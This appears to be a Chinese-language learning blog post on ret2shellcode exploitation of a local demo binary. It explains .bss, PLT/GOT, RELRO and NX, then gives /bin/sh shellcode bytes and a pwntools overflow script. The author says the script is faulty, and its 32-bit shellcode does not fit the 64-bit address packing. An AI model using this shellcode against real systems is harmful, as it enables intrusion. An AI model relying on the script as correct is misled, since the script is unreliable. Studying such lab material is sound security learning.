什么是ret2shellcode?
ret2shellcode,即控制程序执行 shellcode代码。shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。一般来说,shellcode 需要我们自己填充。这其实是另外一种典型的利用方法,即此时我们需要自己去填充一些可执行的代码,然后通过利用,让程序调到shellcode的地址后去执行
这里为了学习shellcode漏洞,龙哥更新了源码:
这里是依次获取两个字符串并输出
区别在于,字符数组glob是一个全局变量,未定义的全局变量会在ELF文件的.bss表中记录
对于存在全局变量的程序,
1、如果没有开PIE(地址随机化),则整个可执行文件的地址都是固定的,但是库的地址是随机的
2、如果关闭了ASLR保护,则库的地址都是随机的,但一般系统不会关闭这个保护
3、利用gadgets
4、利用.bss表
在IDA中找到我们的.bss表
关于plt表:
在ELF文件中,PLT(Procedure Linkage Table,过程链接表)是一个重要的数据结构,它在动态链接中起着关键作用。
PLT的主要作用是在程序运行时提供对动态链接的外部函数的延迟绑定(Lazy Binding)。当程序开始运行时,它可能需要调用定义在共享库中的函数。这些函数的具体地址在程序加载时通常是未知的,因为它们依赖于共享库的实际加载地址。PLT为这些外部函数调用提供了一个占位符,使得程序可以在运行时动态地解析这些函数的实际地址。
具体来说,PLT的工作流程如下:
- 延迟绑定:当程序第一次调用一个外部函数时,它实际上调用的是PLT中的一个条目,而不是函数的实际地址。这个PLT条目会调用动态链接器(通常是ld-linux.so),动态链接器会查找函数的实际地址,并将其存储在GOT(Global Offset Table,全局偏移表)中。
- GOT条目更新:一旦动态链接器找到函数的实际地址,它就会更新GOT中对应的条目。这样,后续对该函数的调用就可以直接通过GOT跳转到函数的实际地址,而不需要再次通过PLT。
- 性能优化:通过延迟绑定,程序可以在运行时动态地解析外部函数的地址,这样可以提高程序的启动速度,并减少内存占用,因为不是所有的函数都在程序启动时就被解析和加载。
总之,PLT是ELF文件中实现动态链接的关键机制之一,它允许程序在运行时动态地绑定外部函数,从而提高了程序的灵活性和性能。
实际上,plt表里面存储的是调用got表中函数的指令,也就是说,如果我们向plt表中写入恶意代码,使之令got调用system函数,以跳到对应的地方去执行。
这里提这两个表是指出了这两个执行shellcode的路子
需要指出的是,如果在我们进行checksec easydemo2操作的时候回显如下:
RELRO字段描述了重定位表RT的只读性,这里的Partial RELRO指示该表部分只读,关于它的两个级别:
- Partial RELRO:
-
- 这意味着重定位表的一部分是只读的。在程序加载时,动态链接器会修改重定位表,但在某些点之后,这些修改就不能再进行了。这提供了一定程度的安全性,因为它减少了攻击者修改重定位表的机会。
- Full RELRO:
-
- 这表示整个重定位表在程序加载并完成初始化之后立即被设置为只读。这提供了更高的安全性,因为一旦重定位完成,攻击者就无法修改重定位表,这有助于防止某些类型的攻击,例如通过修改重定位表来执行任意代码。
如果处于Full RELRO状态下,那么重定位表RT是全表不可写的
此外,要进行shellcode漏洞的利用,要求.bss段是可执行的,关于.bss段的可执行性,我们可以通过vmmap命令来查看
这里可以看到是可执行的
于是可以将shellcode写入到这块可执行的内存空间.bss段当中,然后通过不断填充字符,溢出到ebp,然后向栈里填充这段内存空间的地址,即可使得程序执行构造好的shellcode
但是当程序开了NX保护:
则数据段是不可执行的,不能通过写入.bss表来执行shellcode
网上搜一个shellcode
shellcode = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\x51\x52\x55\x89\xe5\x0f\x34\x31\xc0\x31\xdb\xfe\xc0\x51\x52\x55\x89\xe5\x0f\x34"
先探测偏移量:
还是88没变
需要将shellcode写入至:
这也是我们rip寄存器要跳转的地址
开始编写利用脚本:
from pwn import *
sh = process('./easydemo2')
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
sh.recvuntil(b'string: ')
sh.sendline(b'A'*88 + p64(0x404060))
sh.recvuntil(b'chance: ')
sh.sendline(shellcode)
sh.interactive()
这个脚本有问题,下次优化